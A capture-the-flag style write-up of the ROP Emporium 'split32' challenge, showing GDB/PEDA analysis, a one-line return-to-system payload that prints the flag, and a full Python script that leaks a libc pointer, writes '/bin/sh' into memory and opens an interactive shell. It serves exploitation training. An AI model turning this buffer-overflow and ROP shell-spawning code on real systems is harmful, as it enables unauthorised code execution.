Ropemporium Split Writeup

Before you proceed any further, make sure you have all the requirements fulfilled.

  • ASM knowledge
  • Debugger familiarity
  • GDB
  • Basic ROP knowledge
  • Brain
  • Setup
    In this post, we will try to learn ROP (Return Oriented Programming) by using ropemporium split 32bit binary. Lets setup our machine for debugging by installing PEDA and downloading the target binary.
[email protected]:~/Desktop# cd ~/
[email protected]:~# git clone https://github.com/longld/peda
Cloning into 'peda'...
remote: Counting objects: 324, done.
remote: Total 324 (delta 0), reused 0 (delta 0), pack-reused 324
Receiving objects: 100% (324/324), 243.64 KiB | 111.00 KiB/s, done.
Resolving deltas: 100% (206/206), done.
[email protected]:~# echo "source ~/peda/peda.py" > .gdbinit
[email protected]:~# cd Desktop/
[email protected]:~/Desktop# mkdir ropemporium
[email protected]:~/Desktop# cd ropemporium/
[email protected]:~/Desktop/ropemporium# wget https://ropemporium.com/binary/split32.zip
--2017-09-06 16:16:27--  https://ropemporium.com/binary/split32.zip
Resolving ropemporium.com (ropemporium.com)... 54.192.219.105, 54.192.219.245, 54.192.219.18, ...
Connecting to ropemporium.com (ropemporium.com)|54.192.219.105|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3238 (3.2K) [application/octet-stream]
Saving to: ‘split32.zip’

split32.zip                                        100%[================================================================================================================>]   3.16K  --.-KB/s    in 0s

2017-09-06 16:16:33 (10.0 MB/s) - ‘split32.zip’ saved [3238/3238]

[email protected]:~/Desktop/ropemporium# unzip split32.zip -d split32
Archive:  split32.zip
 inflating: split32/split32
 extracting: split32/flag.txt
[email protected]:~/Desktop/ropemporium# cd split32/

We have downloaded the binary and extracted it, time to start gdb.

Crash

gdb-peda$ pdisass pwnme
Dump of assembler code for function pwnme:
  .........................
   0x0804863e <+72>:	call   0x8048410 <[email protected]>
   0x08048643 <+77>:	add    esp,0x10
   0x08048646 <+80>:	nop
   0x08048647 <+81>:	leave
   0x08048648 <+82>:	ret
End of assembler dump.
gdb-peda$ b * 0x8048648
Breakpoint 1 at 0x8048648
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /root/Desktop/ropemporium/split32/split32
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

This time I’ve placed a break point on the ret instruction at the end of pwnme function, I did that to show which value will overwrite our return pointer. Now once gdb hits our breakpoint, press ‘n’ to step over return and see how it works.

We’ve found the offset to control our EIP. Lets have a look at all the available functions

gdb-peda$ i functions
Non-debugging symbols:
0x08048400  [email protected]
0x08048410  [email protected]
0x08048420  [email protected]
0x08048430  [email protected]
..................
0x0804857b  main
0x080485f6  pwnme
0x08048649  usefulFunction

Disassemble the usefulFunction because it sounds too obvious here.

usefulFunction has a call to system() which takes a memory address to string ‘ /bin/ls ‘ as argument. What if we can return our EIP directly to 0x8048657 and place an address on stack to some other useful string? But for that we need to find these useful string first

gdb-peda$ find '/bin/'
Searching for '/bin/' in: None ranges
Found 7 results, display max 7 items:
split32 : 0x8048747 ("/bin/ls")
split32 : 0x8049747 ("/bin/ls")
split32 : 0x804a030 ("/bin/cat flag.txt")
   libc : 0xb7f5ad28 ("/bin/sh")
   libc : 0xb7f5c878 ("/bin/csh")
[stack] : 0xbffffe1c ("/bin/gdb")
[stack] : 0xbfffff0e ("/bin/bash")

The string at 0x804a030 looks perfect and we can use this memory address in our payload to achieve our goal.

Flag
In order to get the flag, we will create a payload which should have a pointer to string ‘/bin/cat flag.txt‘ on stack along with address of system().

[email protected]:~/Desktop/ropemporium/split32# python -c 'print "A"*44 + "\x57\x86\x04\x08" + "\x30\xa0\x04\x08"' | ./split32
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault

We have our flag, can we use this issue to get a system shell instead?

/bin/sh
We saw that the binary imports fgets(), printf(), puts() and system() from GLIBC library. Also the checksec reports that this binary is not compiled with -fPIC flag (PIE: Disabled) which means that the binary will always be loaded at the same place in memory. Checkec also reports that this binary is NX enabled which means we can’t just execute anything from stack so we probably need to utilize ROP in order to bypass DEP/ASLR. How we can use all this info to attempt a successful exploitation in order to get a shell?

It looks like we need to leak some memory data from our target binary in order to craft a working payload. We will pass a memory address which will resolve to libc function at runtime to printf which will cause the binary to leak memory information. We also need to write our string ‘/bin/sh’ somewhere in the program memory which will be done in the data section of the binary. Lets use this info to craft our payload.

import socket, time, struct, binascii
import telnetlib


class Target():
  HEADER = '\033[95m'
  OKBLUE = '\033[94m'
  OKGREEN = '\033[92m'
  WARNING = '\033[93m'
  FAIL = '\033[91m'
  ENDC = '\033[0m'
  BOLD = '\033[1m'
  UNDERLINE = '\033[4m'

  def __init__(self, ip=None, port=None, length=0xFFFF):
    if not ip or not port:
      return
    print
    self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.socket.connect((ip, port))
    self.length = length
    self.rop = None
    self.receive = None
    self.log('Connected to target')
    self.line = False

  def send(self, payload=None):
    if not payload and self.rop:
      payload = self.rop
    if self.line:
      payload += '\n'
      self.line = False
    self.socket.send(payload)

  def sendline(self, payload=None):
    self.line = True
    self.send(payload)

  def recv(self, l=None):
    if not l:
      l = self.length
    time.sleep(2)
    self.receive = self.socket.recv(l)
    return self.receive

  def create_rop(self, offset, gadgets):
      p = 'A' * offset
      self.log('Creating ROP Chain','i')
      for gadget in gadgets:
        if isinstance(gadget, (int, long)) and hex(gadget).startswith('0x'):
          p += self.p(gadget)
          print '    ',hex(gadget)
        else:
          p += gadget
          print '    ',gadget
      self.rop = p
      return p

  def recv_until(self, string):
    buff = ''
    while True:
      x = self.socket.recv(1024)
      buff += x
      if x.strip() == string:
        return buff

  def log(self, a, t=None):
    ''''''
    if not t:
      t = self.OKBLUE + '+'
    elif t == 'i':
      t = self.HEADER + '*'
    elif t == 'w':
      t = self.WARNING + '!'
    elif t == 'f':
      t = self.FAIL + '!'
    t  =  self.OKGREEN + '[' + t + self.OKGREEN + ']' + self.ENDC
    print(t + ' %s' % (a))

  def funcs(self, raw):
    raw = raw.strip().split('\n')
    t_dict = {}
    for f in raw:
      f = f.split()
      f_name = f[1].replace('@','_')
      f_addr = f[0]
      t_dict[f_name] = int(f_addr, 16)
      globals()[f_name] = int(f_addr,16)
    self.functions = t_dict
    return self.functions

  
  def p(self, addr):
    '''pack raw packets'''
    return struct.pack('<L', addr)

  def u(self, addr):
    '''unpack raw packets'''
    return struct.unpack('<L', addr)[0]

  def hexdump(self, data=None, bytez=0):
    info_msg = "\t\t------->Hex Dump<-------"
    if not data:
      data = self.recv()
      info_msg = 'Hex Dump for last receive\n'
    self.log(info_msg)
    ndata = binascii.hexlify(data)
    print "Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n"
    ndata = list(self.chunks(ndata[:320],32))
    offset = bytez
    for each in ndata:
      x = ' '.join(each[i:i+2] for i in range(0, len(each), 2))
      printspace = " "*(10-len(hex(offset)))
      print hex(offset) + printspace + x
      offset += 16
    print
    return data

  def chunks(self, l, n):
    n = max(1, n)
    return (l[i:i+n] for i in xrange(0, len(l), n))

  def interactive(self, tty=None):
    telnet = telnetlib.Telnet()
    telnet.sock = self.socket
    self.log('Switching to interactive session\n')
    if tty:
      telnet.write('python -c "import pty;pty.spawn(\'/bin/sh\')"\n')
    telnet.interact()

  def write_payload(self, file_name=None, payload=None):
    if not file_name:
      file_name = 'payload'
    self.log('Writing payload to file : ' + file_name)
    f = open(file_name, 'wb')
    f.write(payload)
    f.close()

addresses = '''
0x08048400  [email protected]
0x08048410  [email protected]
0x08048420  [email protected]
0x08048430  [email protected]
0x0804857b  main
0x080485f6  pwnme
0x08048649  usefulFunction
0x0804a080  stdin
'''

buffer_x = 0x804a042

target = Target('127.0.0.1',10001)
target.recv_until('>')
target.funcs(addresses)

# leak address for file pointer
target.create_rop(44, [printf_plt, main, stdin])
target.log('Sending Payload #1')
target.sendline()
target.recv()
file_pointer = target.u(target.receive[0:4])

#gets user input into our memory location
target.create_rop(44, [fgets_plt, main, buffer_x, 0x15, file_pointer])
target.log('Sending Payload #2')
target.sendline()
target.sendline('/bin/sh')

# send payload to spawn shell
target.create_rop(44, [system_plt,'BBBB',buffer_x])
target.log('Sending Payload #3')
target.sendline()
target.recv()
target.interactive(True)
                                                            ——END——
7 Likes